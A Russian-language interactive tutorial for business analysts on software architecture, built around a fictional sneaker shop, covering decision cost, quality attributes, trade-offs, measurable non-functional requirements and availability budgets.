Вернёмся к Олегу. Он не рисует карту возможностей и не выбирает серверы. Его дом — слои приложений и данных. Одной ногой он стоит в бизнесе: переводит процессы и правила в требования к системе. Технологий он касается через нефункциональные требования: называет числа, а не выбирает железо. И он держит нитки трассировки, которые связывают требование с целью наверху и с сервисом внизу.

переводчик на переговорах. Он не решает, о чём договариваться, и не подписывает контракт. Но если он перевёл неточно, стороны подпишут разное, и каждая будет права.

Интерактив: артефакты аналитика по слоям

Матрица трассировки требований (requirements traceability matrix) — таблица, в которой у каждого требования записано, откуда оно (цель, возможность, процесс) и куда ушло (сервис, API, тест). По ней видно, что каждое требование кому-то нужно и каждое проверено.
квитанции к покупкам. По каждой видно, за что заплатили и где это лежит. Без них в конце месяца деньги кончились, а на что — непонятно.

Пример: цепочка от цели компании до сервера

Цель компании   30 % заказов по Москве — с доставкой в день заказа к концу 2027
 └ Возможность  3.2 «Доставка заказов»                         (карта возможностей)
   └ Процесс    «Оформить экспресс-доставку», шаг 4             (BPMN)
     └ ФТ-31    покупатель выбирает двухчасовой слот в корзине (постановка Олега)
       └ API    POST /delivery-slots/{id}/reservations          (спецификация OpenAPI)
         └ Данные «Слот доставки», «Резерв слота»               (логическая модель)
           └ Узлы k8s-prod, db-01                               (схема развёртывания)
ТребованиеВозможностьПроцесс, шагСервис / APIПроверка
ФТ-31 выбор слота в корзине3.2Оформить экспресс-доставку, 4delivery: POST …/reservationsТК-88, ТК-89
ФТ-32 резерв держится 15 минут3.2тот же, 5delivery: снятие просроченных резервовТК-90
ФТ-33 Анна видит «курьер выехал»3.2Доставить курьером, 2notify: событие «Заказ передан курьеру»ТК-91
НФТ-3 ответ ≤ 300 мс у 95 % при 300 запросах/с3.2—deliveryнагрузочный тест НТ-4

Как это звучит: плохо и хорошо

«Система должна быстро показывать слоты».
«Список слотов на 2 дня для одной зоны отдаётся не дольше 300 мс у 95 % запросов при нагрузке 300 запросов в секунду».
«Интеграция со складом».
«Сервис доставки получает событие „Заказ собран“ через брокер. При недоступности брокера события не теряются; задержка передачи — не больше 5 минут».
«Хранить телефон клиента».
«Мастер-система телефона — CRM. Остальные системы хранят копию только для чтения и обновляют её по событию „Телефон клиента изменён“ не позже чем через 1 минуту».
«Использовать Kafka».
«События о заказе доставляются получателю хотя бы один раз, даже если получатель был недоступен до 24 часов». Выбор брокера — решение архитектора.

Эпилог: задача про телефон, решённая за день

Через полгода Олегу снова приходит похожая задача. Теперь у «Ботинка» есть карта.

10:00. Открывает репозиторий: мастер-система телефона — CRM, хозяин — команда «Клиенты».
10:15. Анализ влияния по связям: телефон используют вход по СМС, рассылки и поддержка. Хозяева всех трёх позваны на ревью.
10:30. Бизнес-правило БП-7 уже записано: менять номер только с кодом на старый номер.
11:00. В стандартах есть формат E.164 и ограничение шлюза по длине полей.
18:00. Постановка готова. Три дня превратились в один не потому, что Олег стал быстрее печатать. Хозяева вопросов теперь записаны.

Частые ошибки аналитика

  • Требование без ссылки на цель: через полгода никто не помнит, зачем это поле.
  • Описан только свой сервис, а стык с соседом ничей.
  • НФТ-пожелания: «быстро», «надёжно» — без чисел и способа проверки.
  • Решать за архитектора: «использовать Kafka» вместо свойства, которое нужно бизнесу.

глава 13 · проверь себя от слоёв до команд

Часть 1. Основы

Решено 0 из 0.

Часть 2. Роли, карты, TOGAF, команды и управление

Решено 0 из 0.

Дальше → спускаемся на прикладной слой: что считать архитектурным решением и чем за него платят

Архитектура — это решения, которые потом дорого переделать. Не картинки и не список модных технологий. Поменять язык в одном сервисе — вопрос пары месяцев. Поменять границы между частями системы и то, кто владеет данными, — вопрос пары лет. Поэтому такие решения принимают осознанно: вовремя, вслух, с цифрами и с записью. Весь раздел — одна история. Интернет-магазин кроссовок «Ботинок» мы проживём дважды: без архитектора и с ним. И посмотрим, как решения первого месяца аукаются через год.

зачем это зачем аналитику знать, что такое архитектура

карта раздела одна история, шестнадцать глав

Главы идут по порядку: каждая опирается на предыдущую. Нажмите на главу, чтобы перейти к ней. Если времени мало — прочитайте главы 1, 4, 7, 9 и 14: это скелет раздела.

глава 1 · завязка два «Ботинка»: одна команда, два разных года

Сначала — что мы вообще называем архитектурой. Потом — история.

Архитектура программной системы (software architecture) — это самые важные решения о системе. Из каких крупных частей она состоит. Как части общаются между собой. Где лежат данные и кто ими владеет. Какими свойствами система обязана обладать: как быстро отвечать, сколько минут в месяц может не работать, что выдержит. «Самые важные» — значит те, которые дорого поменять потом.
дом. Обои, мебель, цвет двери можно поменять за выходные. Фундамент, несущие стены, место стояка и число этажей — почти нельзя. Архитектор дома думает о втором, а обои оставляет жильцам. Архитектор программы работает так же: думает о несущих стенах системы.
«Архитектура — это значимые проектные решения, которые формируют систему. Значимость измеряется стоимостью изменения». — Грэди Буч, один из авторов языка UML.
Проще говоря. Если решение можно отменить за полдня — это не архитектура, делайте как удобно. Если отмена стоит месяц работы и переезд данных — это архитектура. О ней стоит подумать до того, как на неё опрётся всё остальное.

Знакомьтесь: «Ботинок»

Январь. Вера открывает интернет-магазин кроссовок «Ботинок». Денег хватит на полгода, запуститься нужно к марту. В команде двое: разработчик Борис и аналитик Олег на полставки. Первой покупательницей станет Анна — мы ещё встретим её в ноябре.

Этот год мы проживём дважды.

«Ботинок-1»: без архитектора

Борис решает всё сам и быстро. Никто не спрашивает «а что будет, если…». Злого умысла нет — просто некогда: до запуска восемь недель.

«Ботинок-2»: с архитектором

Те же люди, тот же срок. Но пару часов в неделю с ними сидит архитектор Марина. Она почти ничего не рисует. Она задаёт вопросы: «что из этого будет дорого поменять?», «что будет, если нажмут дважды?», «сколько стоит час простоя?». Олег записывает ответы в требования.

Пройдите год по шагам. Слева — первый магазин, справа — второй. Внизу копятся часы на разговоры и дни на переделки.

Как читать. Полоска сверху — месяцы года. Каждый шаг — одно событие. Красная рамка — «Ботинок-1», зелёная — «Ботинок-2». Метки под текстом: цена решения — сколько стоило подумать сразу; эхо — что это решение сделало через несколько месяцев.
Главное из этой истории. Второй «Ботинок» не был сложнее первого. Там тоже одна программа и одна база. Там тоже случались сбои. Разница в другом: несколько решений приняли осознанно — вовремя, с вопросом «что будет потом» и с записью. Ещё несколько решений сознательно отложили. Это и есть работа архитектуры. Остальные главы разбирают, как её делать.

глава 2 · карта как устроен большой магазин: пройдите запрос по шагам

Прежде чем спорить о решениях, полезно увидеть, из чего вообще бывает сделана система. Ниже — типичный интернет-магазин, когда он вырос. Так мог бы выглядеть «Ботинок» года через три, когда команд станет пять. В первый год почти ничего из этого не нужно. Каждый блок появляется в свой момент — когда без него уже больно.

Звено (компонент) — отдельная часть системы со своей работой: принять запрос, проверить права, посчитать заказ, сохранить данные, разослать письма. Поток — путь, по которому запрос проходит через звенья.
поликлиника. Регистратура, гардероб, кабинет врача, лаборатория, аптека. У каждого своя работа. Пациент с простудой пройдёт три окна, а с анализами — пять. Если закрылась аптека, врач всё равно принимает.

Выберите, что делает покупатель, и прожмите шаги: подсветится путь запроса, а ниже появится разбор каждого звена — сколько занимает и что будет, если оно сломается.

клиент
📱 Клиентбраузер, телефон
↓
край сети
🌍 CDNкартинки, статика
⚖️ Балансировщикделит трафик
↓
вход
🚪 API-шлюзтокен, лимит, маршрут
↓
сервисы
Каталог
Заказы
Платежи
↓
хранилища
⚡ КешRedis
🗄 БД каталога
🗄 БД заказов
📦 Хранилище файлов
↓
события
📨 Брокер сообщенийKafka
↓
подписчики
Склад
Рассылки
Аналитика
Что вы увидите. В сценарии «открыл каталог» почти всё время уходит на один поход в базу — вот почему кеш так много экономит. В «оформил заказ» самый долгий и ненадёжный шаг — внешний банк. В «база каталога легла» магазин продолжает продавать: это результат нескольких архитектурных решений сразу — таймаута, размыкателя, запасного ответа и раздельных баз.
Зачем вам эта карта. Почти любой вопрос на работе — это вопрос про одно звено на ней. «Почему медленно?» — какое звено. «Почему у клиента старая цена?» — кеш. «Почему заказ есть, а письма нет?» — брокер или подписчик. Пока карты в голове нет, каждый такой вопрос начинается с нуля.
Не копируйте эту схему на старте. Каждое звено здесь — ответ на конкретную беду: CDN — на далёких клиентов, брокер — на то, что подписчиков стало много и они падают, отдельные базы — на то, что одна база стала узким местом и общей точкой отказа. Нет беды — нет звена. «Ботинок-2» в первый год жил с одной программой и одной базой, и это было правильное решение.

глава 3 · определение что делает решение архитектурным

В любой системе принимаются тысячи решений. Как назвать переменную. Какую библиотеку взять для дат. Где хранить заказы. Большинство — мелкие. Архитектурный ритуал (обсуждение, запись, сравнение вариантов) на них тратить не нужно. Нужен фильтр.

Архитектурное решение (architectural decision) — решение, которое трудно и дорого отменить и которое ограничивает будущие решения. Остальное — решения реализации: их принимает разработчик по месту.
вы решили ехать в отпуск на машине, а не на поезде. Из этого сами собой вытекают маршрут, остановки, сколько брать багажа и кто сидит за рулём. А вот какую музыку слушать в дороге — можно решить на ходу и поменять десять раз.

Практический фильтр: решение архитектурное, если выполняются оба условия.

1. Его дорого отменить

Не «неприятно», а дорого: недели работы, миграция данных, простой, переписывание интеграций у смежников. Если откат стоит полдня — это не архитектура, это реализация.

2. Оно ограничивает будущие решения

Выбрав «у каждого сервиса своя база», вы автоматически отказались от транзакции на два сервиса и подписались на саги. Решение тянет за собой шлейф вынужденных.

Обратная сторона: хороший архитектор не принимает решения раньше срока. Каждое принятое решение сужает пространство вариантов. Поэтому те, что можно отложить без вреда, откладывают. Это называется «последний ответственный момент» — подробно в главе 5.

Шесть мест, где прячутся архитектурные решения

Архитектура — это не только «монолит или микросервисы». Вот где ещё лежат несущие стены.

🧱 Структура

Из каких частей система. Где проходят границы. Кто кого вызывает. Пример: «доставка — отдельный модуль, в чужие таблицы не ходит».

🗄 Данные

Где и в каком виде лежат данные, кто ими владеет. Пример: «деньги — целые копейки», «у заказов своя база».

🔌 Взаимодействие

Как части и внешние системы общаются: синхронно или через события, какой контракт. Пример: «партнёру отдаём непрозрачный идентификатор заказа».

📏 Качество

Какие свойства обязательны и в каких числах. Пример: «оформление заказа доступно 99,9 % времени в месяц».

🚀 Развёртывание

Где работает система и как выкатывается. Пример: «одна зона облака, выкатка без простоя, откат за 5 минут».

👥 Люди

Какая команда за что отвечает. Система повторяет структуру команд — это закон Конвея, он в главе 13.

Примеры из «Ботинка»

РешениеАрхитектурное?Почему
Хранить суммы в копейках целым числомдаЧерез год на этом типе лежат миллионы заказов, отчёты и чеки. Поменять — миграция и пересверка.
Одна программа и одна база на стартедаОпределяет, как будет расти система и что придётся резать потом. Решение правильное, но его стоит принять осознанно.
Формат номера заказа, который видят партнёрыдаВнешний контракт: его записали в свои базы другие компании. Своё поменять можно, чужое — только договорившись.
Библиотека для генерации PDF-чековнетЕсли она спрятана за одной функцией «сделать чек», замена — день работы. Ничего не ограничивает.
Цвет кнопки «Купить»нетМеняется за минуты, можно проверить на части покупателей.
Как назвать класс расчёта скидкинетПереименование — одна команда в редакторе кода.
Проще говоря. Архитектура — это не «главные технологии», а главные ограничения. Вопрос не «на чём пишем», а «что потом не получится поменять без боли».
Две крайности, обе вредны. Первая — «решим всё заранее»: полгода рисовать схему, пока нет ни одного покупателя. Решения принимаются без фактов и часто оказываются лишними. Вторая — «ничего не решаем, архитектура сложится сама». Она действительно сложится — случайно, из тех решений, которые разработчик принял в спешке в первую неделю. Так и появился «Ботинок-1».
Как это звучит у аналитика. В постановке есть раздел «Архитектурные ограничения и допущения». В нём не «используем Kafka», а, например: «Суммы передаются в копейках целым числом. Внешним системам передаётся непрозрачный идентификатор заказа. Модуль доставки не читает таблицы модуля заказов напрямую». Каждое такое ограничение — след архитектурного решения, и у него должна быть ссылка на запись решения (ADR, глава 14).

глава 4 · цена времени почему «поздно» — значит «дорого»: кривая стоимости изменений

В сентябре бухгалтерия «Ботинка-1» нашла расхождение копеек в чеках. Исправление заняло пять недель. В январе то же решение стоило двух часов разговора. Почему одна и та же правка подорожала в сто раз? Разберёмся.

Стоимость изменения (cost of change) — сколько работы нужно, чтобы отменить или переделать решение. Она зависит не только от самого решения, но и от того, сколько на него уже успели опереть: кода, данных, отчётов, чужих систем и привычек людей.
розетка в квартире. На чертеже её перенести — стереть карандашную линию. Во время черновой отделки — прорезать стену и протянуть провод. После ремонта — резать новую плитку, переклеивать обои и двигать шкаф. Розетка та же. Цена разная, потому что на её место уже опёрлось всё остальное.

Почему кривая растёт

1. На решение опирается код

Каждая новая функция, написанная поверх неверного решения, — ещё одно место, которое придётся переписать.

2. Копятся данные

Код можно переписать. Миллион заказов, уже сохранённых в неверном виде, придётся переносить и сверять.

3. Появляются внешние потребители

Партнёр доставки, банк, бухгалтерия, мобильное приложение у покупателей. Их нельзя поменять одним выкатом — только договориться.

4. Забывается контекст

Через год никто не помнит, почему сделали именно так. Боятся трогать: «вдруг там что-то держится».

Живой график: когда решили и когда заметили

Выберите решение из истории «Ботинка». Первый ползунок — месяц, когда решение приняли. Второй — месяц, когда поняли, что оно неверное. График покажет, сколько стоит исправление в человеко-днях. Галочка ниже прячет решение за интерфейсом и тестами — посмотрите, какой кривой это помогает, а какой нет.

0
8
Исправить в момент решения: — Исправить, когда заметили: — Дороже в: —

Что придётся переделать

Как читать график. По горизонтали — месяцы жизни «Ботинка». Серый пунктир — время до решения. Красная линия — сколько стоит исправить решение, если заметить ошибку в этот месяц. Зелёный пунктир — то же, если решение спрятано за интерфейсом и покрыто тестами. Красная точка — ваш месяц обнаружения. Числа модельные: они передают форму кривой, а не смету.
Что вы увидите. Библиотека PDF-чеков почти не дорожает: она спрятана за одной функцией. Одна общая база без границ дорожает быстро, но граница модулей (галочка) сплющивает её кривую в разы. А деньги в дробных числах и номер заказа у партнёров почти не спасаются галочкой: данные уже лежат в базе, а номер — в чужих системах. Такие решения надо ловить до того, как их кто-то увидит.

Как сплющить кривую

Кривую нельзя отменить, но её можно сделать пологой. Именно этим архитектура экономит деньги.

Спрятать решение за границей

Если вся работа с платёжным банком идёт через один модуль-переходник, смена банка трогает только его. Решение внутри перестаёт быть «несущим».

Автотесты

Они дают смелость менять. Без них любую правку старого кода боятся, и кривая растёт от страха, а не от сложности.

Миграции «расширить — сжать»

Сначала добавить новое поле рядом со старым, потом перевести всех, потом убрать старое. Изменение данных идёт без простоя и с возможностью отката.

Записывать решения

Запись «почему так» (ADR, глава 14) снимает страх «вдруг там что-то держится». Через год видно, на каких допущениях стоит решение и живы ли они.

Немного истории. Барри Боэм в книге «Экономика программной инженерии» (1981) показал, что ошибку, найденную поздно, исправлять намного дороже, чем найденную рано. Конкретные множители из тех данных сегодня оспаривают. Кент Бек, автор экстремального программирования, в 1999 году возразил: с тестами и постоянным рефакторингом кривую можно сделать почти плоской. Правы оба. Для решений внутри модуля кривая действительно плоская. Для данных и внешних контрактов она крутая, что бы вы ни делали.
Как это звучит в требованиях. «Денежные суммы хранятся и передаются в минимальных единицах валюты (копейках) целым числом. Правило округления одно на всю систему и описано в разделе расчёта цены». «Внешним системам передаётся непрозрачный идентификатор заказа; порядковый номер показывается только людям». Такие строки стоят аналитику пять минут, а экономят месяцы.

глава 5 · двери двери в одну и в две стороны и последний ответственный момент

Из главы 4 легко сделать неверный вывод: «надо всё обдумать заранее». Нет. Обдумывать заранее всё — дорого и бессмысленно. Большинство решений легко отменить. Искусство в том, чтобы отличить одни от других.

Обратимое решение («дверь в две стороны», two-way door) — решение, которое можно быстро и дёшево отменить. Вошли, не понравилось — вышли. Необратимое решение («дверь в одну сторону», one-way door) — отменить нельзя или очень дорого. Метафору ввёл Джефф Безос в письме акционерам Amazon за 2015 год.
купить куртку в магазине, где 14 дней на возврат, — дверь в две стороны: не подошла — вернули. Сделать татуировку — дверь в одну сторону. Логично, что над курткой думают пять минут, а над татуировкой — дольше.

🚪↔ Дверь в две стороны

Решает небольшая группа или один человек. Быстро. Пробуют, меряют, при необходимости откатывают. Записывать подробно не нужно. Ошибка стоит часы.

🚪→ Дверь в одну сторону

Решают медленно и вслух. Сравнивают варианты, проверяют на макете, спрашивают тех, кого решение затронет. Записывают: что решили, почему, чем платим. Ошибка стоит месяцы.

Две типичные ошибки. Первая — считать дверь в две стороны необратимой: неделю совещаться о цвете кнопки. Команда вязнет. Вторая — считать дверь в одну сторону обратимой: «потом поменяем» про формат денег. Это «Ботинок-1». Вторая ошибка дороже, но первая встречается чаще — и именно из-за неё архитектуру считают бюрократией.
Главный фокус архитектора. Многие двери в одну сторону можно переделать в двери в две стороны. Платёжный банк за своим модулем-переходником — сменить банк можно за неделю. Новая функция за флагом — выключить можно за минуту. Миграция «расширить — сжать» — старое поле живёт, пока новое не проверено. Чем больше дверей в две стороны, тем быстрее и смелее команда.

Сортировщик: какая это дверь?

Разложите решения «Ботинка». Думайте не о том, важное ли решение, а о том, сколько стоит его отменить.

Решено 0 из 0.

Последний ответственный момент

Последний ответственный момент (last responsible moment) — момент, когда откладывать решение дальше становится вреднее, чем принять его. До него решение принимать рано: фактов мало. После него — поздно: работа уже идёт, и решение за вас примет тот, кто первым напишет код. Понятие пришло из бережливой разработки (Мэри и Том Поппендик, 2003).
заказ торта на свадьбу. Заказывать за полгода рано: ещё неизвестно, сколько будет гостей. В день свадьбы поздно: кондитер не успеет. Последний ответственный момент — примерно за неделю: число гостей уже известно, а кондитер ещё успевает.
Не решить — тоже решение. Пока архитектор «откладывает» выбор формата денег, Борис уже пишет расчёт скидок. На чём-то ему надо считать, и он возьмёт дробные числа по умолчанию. Решение принято — просто неявно и не тем человеком. Поэтому «отложить» имеет смысл, только если работа, зависящая от решения, ещё не началась, или если её можно временно спрятать за интерфейсом.

Попробуйте найти последний ответственный момент для трёх решений «Ботинка-2». Двигайте ползунок — неделю, когда Марина принимает решение. Кружки на шкале — факты, которые становятся известны со временем. Красный пунктир — когда начинается работа, которой это решение нужно.

0
нед. 06121824
Что вы увидите. У трёх решений последний ответственный момент наступает в очень разное время. Для формата денег он наступает сразу: новых фактов ждать неоткуда, а код пишется с первого дня. Для брокера сообщений — перед началом интеграции со складом, когда уже известно, что умеет склад и сколько заказов в день. Для выделения каталога в отдельный сервис — только когда появились реальные замеры нагрузки. Последний ответственный момент — не «как можно позже», а «когда пора».
Как расширить окно. Если решение нужно раньше, чем появятся факты, есть три приёма. Разведка (spike) — короткий эксперимент на день-два, чтобы получить факт раньше. Прослойка — спрятать будущее решение за интерфейсом и начать работу без него. Самый простой вариант — принять дешёвое обратимое решение сейчас, записав, при каком факте его пересмотрим.

глава 6 · атрибуты атрибуты качества: не только «что делает», но и «как»

Вернёмся в январь «Ботинка-2». Марина спрашивает Веру: «Что магазин должен делать?» Вера отвечает быстро: показывать кроссовки, класть в корзину, принимать оплату, отправлять письмо. Потом Марина спрашивает: «А каким он должен быть?» И тут Вера задумывается.

Функциональное требование — что система делает: «покупатель может оплатить заказ картой». Нефункциональное требование (НФТ) — каким система должна быть, пока это делает: «оплата проходит за 3 секунды в 95 случаях из 100, даже в Чёрную пятницу».
Атрибут качества (quality attribute) — измеримое свойство системы, кроме её функций: производительность, доступность, безопасность, сопровождаемость и другие. Нефункциональные требования — это записанные числа по атрибутам качества.
две машины. Обе едут, тормозят и везут пятерых — функции одинаковые. Но одна разгоняется до сотни за 7 секунд, другая за 15. Одна ест 6 литров, другая 12. Одна получила пять звёзд на краш-тесте, другая две. Это разные машины, хотя «делают» они одно и то же.
Проще говоря — главная мысль главы. Функции можно сделать почти в любой архитектуре. Кнопку «Купить» напишут и в монолите, и в микросервисах. А вот «выдержать Чёрную пятницу», «не терять заказ при падении сервера» или «подключить новый банк за неделю» — нет. Архитектуру определяют атрибуты качества, а не функции. Поэтому аналитик, который пишет только функции, оставляет архитектора без исходных данных.
Откуда список. Полный перечень атрибутов даёт международный стандарт ISO/IEC 25010 (последняя редакция — 2023 года). Он большой и формальный. Ниже — рабочий набор, на который реально смотрят при проектировании, в переводе на язык постановок.

Справочник: чем каждое свойство измеряют

Нажмите на строку: там написано, чем свойство измеряют — потому что неизмеримое свойство в требовании бесполезно.

Главная ошибка в НФТ: «система должна быть быстрой и надёжной». Это не требование, а пожелание. Требование выглядит так: «95-й перцентиль ответа поиска — до 400 мс при 1200 запросах в секунду; доступность 99,9 % в месяц, то есть не больше 43 минут простоя».

Разбор: десять свойств, о чём каждое и с чем связано

Выше они перечислены строчками. Здесь каждое разбирается: что оно означает простыми словами, чем его меряют, что с ним связано и чем платить за улучшение. Выберите свойство и нажмите «▶ Показать на примере».

Главное про все десять сразу. Они конкурируют. Улучшая одно, вы почти всегда ухудшаете другое: кеш ускоряет чтение и портит точность, резервирование повышает доступность и удваивает счёт, микросервисы дают независимость команд и отнимают простоту отладки. Об этом — упражнение ниже и вся глава 7.

Три гвоздя: выберите, что важнее

Нельзя оптимизировать всё сразу — свойства конкурируют за одни и те же деньги, время и сложность. Отметьте три свойства, которые для вашей системы важнее остальных, и посмотрите, чем за это обычно платят и какая архитектура напрашивается.

Выберите ровно три свойства.
Как это звучит у аналитика. В постановке — не список «всё важно», а приоритеты: «Главные атрибуты для оформления заказа: 1) доступность, 2) корректность денег, 3) скорость выпуска изменений. Для каталога: 1) быстродействие, 2) стоимость. Допустимо: каталог показывает цены с отставанием до 60 секунд». Последняя строка — самая ценная: она прямо говорит, чем бизнес согласен платить.

глава 7 · компромиссы архитектура — это компромиссы: пульт «Ботинка»

Весна «Ботинка-2». Вера формулирует пожелания: «Хочу, чтобы магазин никогда не падал. Чтобы летал. Чтобы новые фичи выходили каждый день. И чтобы это стоило недорого». Марина не спорит. Она говорит: «Давай покажу, что стоит за каждым из этих слов», и открывает пульт.

Компромисс (trade-off) — выбор, при котором улучшение одного свойства покупается ухудшением другого. Архитектурных решений без компромиссов почти не бывает. Если кажется, что решение «только плюсы», значит, его цену ещё не нашли.
отпуск. Дёшево, быстро и комфортно — выберите два. Дёшево и быстро — плацкарт. Быстро и комфортно — самолёт бизнес-классом. Дёшево и комфортно — долгая поездка с пересадками. Все три сразу не продаются.

Живая модель: четыре ползунка

Каждый ползунок — насколько это свойство важно, от 1 до 5. Схема «Ботинка» ниже перестраивается: появляются и исчезают кеш, реплики, вторая зона, конвейер выпуска. Потом устройте магазину испытание кнопками — полетят запросы, и вы увидите, что выдержит, а что нет.

2
2
2
3
Как читать схему. Бледные блоки с пунктиром — звенья, которых при таких ползунках нет. Во время испытания по схеме летят запросы покупателей: синие — в пути, зелёные — дошли, красные — погибли на звене, которое не выдержало. Звено, ставшее узким местом, краснеет.
Что заложено в модель. Надёжность добавляет копии приложения, реплику базы, вторую зону и второй регион — и каждый уровень дороже предыдущего. Быстродействие добавляет индексы, кеш, CDN, реплики для чтения и готовые витрины — и витрины отстают от правды. Скорость выпуска добавляет автотесты, конвейер и флаги функций — это стоит времени команды сейчас, но делает выпуск и откат быстрыми. Экономия задаёт бюджет в месяц. Больше движущихся частей — дольше делается каждая новая фича. Числа модельные, но пропорции взяты из практики.
Что вы увидите. Все четыре ползунка на пятёрку не помещаются в бюджет — пульт честно покажет перерасход. Выдержать все три испытания можно, но только если заплатить экономией: бюджет придётся поднять. Это и есть разговор, который Марина ведёт с Верой: не «нельзя», а «вот цена, выберите».
Интересная деталь про скорость и надёжность. Интуиция говорит, что частые выпуски опасны. Многолетние исследования DORA (DevOps Research and Assessment) показывают обратное: команды, которые выпускают чаще, в среднем ломают прод реже и чинят быстрее. Но только если выпуск автоматизирован — тесты, конвейер, флаги. Автоматизация стоит времени команды. Компромисс не между скоростью и надёжностью, а между ними обеими и тем, во что вложиться сейчас.
Как это звучит у аналитика. Итог разговора Марины и Веры записывается так: «Приоритет атрибутов для «Ботинка» на год: доступность оформления заказа 99,9 % в месяц; быстродействие каталога p95 ≤ 400 мс; выпуск изменений не реже раза в неделю; бюджет инфраструктуры до 600 тыс. ₽ в месяц. Сознательно не делаем: второй регион, готовые витрины. Пересмотр — при росте заказов в 3 раза». Каждая строка — выбранная точка на пульте.

глава 8 · сценарий сценарий атрибута качества: шесть частей хорошего требования

Вера согласилась: доступность оформления заказа — главное. Но что именно проверять? «Система доступна» — это когда? При каком сбое? Что должно произойти и за сколько? Олег записывает требование по шаблону, который придумали в Институте программной инженерии университета Карнеги — Меллон (SEI). Шаблон называется сценарием атрибута качества.

Сценарий атрибута качества (quality attribute scenario) — короткое описание ситуации из шести частей: кто или что вызвало событие, какое событие, с какой частью системы, в каких условиях, как система должна отреагировать и чем реакцию измерить. Хорошо написанный сценарий можно проверить тестом.
жалоба в автосервис. «Машина плохая» — мастер не знает, что делать. «На трассе, при −25 °C, минут через двадцать езды загорается лампа давления масла; хочу, чтобы в мороз она не загоралась, а если давление правда падает — чтобы машина сообщила об этом раньше, чем заглохнет» — мастер знает, что воспроизвести и что считать успехом.

1. Источник

Кто или что вызвало событие: покупатель, злоумышленник, сломавшийся сервер, владелица бизнеса с новой просьбой.

2. Стимул

Само событие: 1200 запросов в секунду, отказ базы, попытка входа в чужой аккаунт, просьба подключить новый банк.

3. Артефакт

Какая часть системы задета: сервис каталога, база заказов, модуль платежей. Не «система целиком».

4. Среда

В каких условиях: обычный вечер, Чёрная пятница, выкатка новой версии, во время разработки.

5. Реакция

Что система должна сделать: переключиться на резерв, отдать страницу, заблокировать вход, принять изменение в одном модуле.

6. Мера отклика

Число, по которому проверяем: не дольше 60 секунд, p95 ≤ 400 мс, 0 потерянных заказов, не больше 10 рабочих дней.

Проще говоря. Сценарий отвечает на вопрос тестировщика: «Что мне сломать или нагрузить, в каких условиях, и какой результат считать успехом?» Если на этот вопрос нет ответа — требования нет.

Конструктор: соберите сценарий

Выберите атрибут. Для каждой из шести частей выберите формулировку. Часть вариантов — ловушки: размытые, про другой атрибут или неизмеримые. Нажмите «Проверить сценарий» — конструктор скажет, что не так, и покажет, как сценарий превращается в строку постановки. Соберите по одному правильному сценарию для всех четырёх атрибутов.

Что вы увидите. Самые частые ловушки: стимул, который на самом деле реакция («система упала» — это итог, а не событие); артефакт «вся система»; среда «всегда»; мера «быстро» или «среднее время». И ещё одна тонкая: источник из чужого атрибута. «Много покупателей» — это стимул для производительности, а не для доступности.
Где нужны сценарии. Не для каждой мелочи. Их пишут для архитектурно значимых требований (глава 14) — тех, что определяют устройство системы. Обычно для продукта размером с «Ботинок» их 10–20. Именно эти сценарии потом становятся нагрузочными тестами, учениями по отказам и пунктами приёмки.

глава 9 · НФТ из пожелания — в требование: переписываем плохие НФТ

В «Ботинке-1» тоже был документ с НФТ. В нём было написано: «Система должна быть быстрой, надёжной, масштабируемой и удобной». Эту фразу нельзя ни выполнить, ни провалить. Поэтому её никто и не выполнял.

Измеримое требование — требование, про которое можно однозначно сказать «выполнено» или «нет», причём два разных человека скажут одно и то же. Для этого в нём есть число, единица измерения, условия и способ проверки.
«приготовь что-нибудь вкусное» — и вы получите не то, что хотели, но спорить будет не о чем. «Суп на шестерых к семи вечера, без лука, не острый» — можно проверить каждое слово.

Опасные слова

Если в НФТ есть одно из этих слов без числа рядом — требование надо переписать.

быстронадёжноудобномасштабируемобезопасногибкосовременноинтуитивнов реальном временимгновенновсегданикогдакак у конкурентовв среднем

Формула хорошего НФТ

Что именно

Какая операция, какая часть системы, для кого. Не «система», а «страница каталога».

Число и единица

Перцентиль и миллисекунды, проценты за месяц, рабочие дни. Не среднее — у среднего нет хвоста.

Условия

При какой нагрузке, на каком объёме данных, во время чего. Без условий число ничего не значит.

Как проверяем

Нагрузочный тест, мониторинг в проде, учения, тест с пользователями. Кто проверяет и когда.

Мастерская: перепишите шесть требований «Ботинка-1»

Выберите плохое требование. Нажимайте на кусочки — они добавляются в формулировку. Нужные кусочки закрывают пункты формулы. Среди кусочков есть ловушки: они звучат солидно, но делают требование хуже. Требование засчитано, когда все четыре пункта закрыты и ловушек нет.

Переписано 0 из 6.

Вопросы, которые аналитик задаёт, чтобы получить числа

Не пишите решение вместо требования. «Использовать Redis», «развернуть в Kubernetes», «на микросервисах» — это решения. Их выбирает архитектор под требования. Требование говорит, что должно быть достигнуто: «p95 ≤ 400 мс при 1200 запросах в секунду». Если аналитик сразу пишет решение, архитектор лишается выбора, а бизнес — возможности сравнить цену вариантов.

глава 10 · девятки девятки доступности и бюджет ошибок

Вера сказала: «Магазин должен работать всегда». Марина переспросила: «Сколько минут в месяц он может не работать, чтобы вы не потеряли больше, чем стоит защита?» Вот тут и начинаются девятки.

Доступность (availability) — доля времени или доля запросов, при которых система отвечает правильно и вовремя. Записывается в процентах за период: «99,9 % за месяц». Число девяток — это и есть «сколько девяток»: 99,9 % — три девятки, 99,99 % — четыре.
SLO (service level objective, цель уровня обслуживания) — внутренняя цель: «99,9 % успешных запросов за 30 дней». SLA — договор с клиентом с последствиями за нарушение, обычно мягче SLO. SLI — сам показатель, который меряют: доля успешных ответов.
Бюджет ошибок (error budget) — разрешённое количество неудач: 100 % минус SLO. При цели 99,9 % и 10 миллионах запросов в месяц бюджет — 10 000 неудачных запросов. Пока бюджет не израсходован, можно смело выпускать новое. Израсходовали — остановить рискованные выпуски и заняться надёжностью. Идея описана в книге Google «Site Reliability Engineering» (2016).
магазин у дома, который «работает 99 % времени», закрыт больше семи часов в месяц. Если эти часы приходятся на ночь вторника — никто не заметит. Если на вечер субботы — заметят все. Поэтому важно не только сколько, но и когда. А бюджет ошибок похож на лимит отгулов: пока они есть — можно взять день на своё; кончились — работаем без сюрпризов.

Цепочка перемножает

Анна оформляет заказ. Её запрос проходит балансировщик, шлюз, сервис заказов, платежи и базу. Если каждое звено доступно 99,9 %, а для успеха нужны все — доступности перемножаются: 0,999 × 0,999 × … Каждое новое синхронное звено ухудшает итог. А резерв работает наоборот: если у звена две независимые копии, оно недоступно, только когда упали обе, — и шанс этого перемножается уже в вашу пользу.

последовательно (нужны все):   A = a₁ × a₂ × … × aₙ
параллельно (хватит любой):     A = 1 − (1 − a₁) × (1 − a₂)
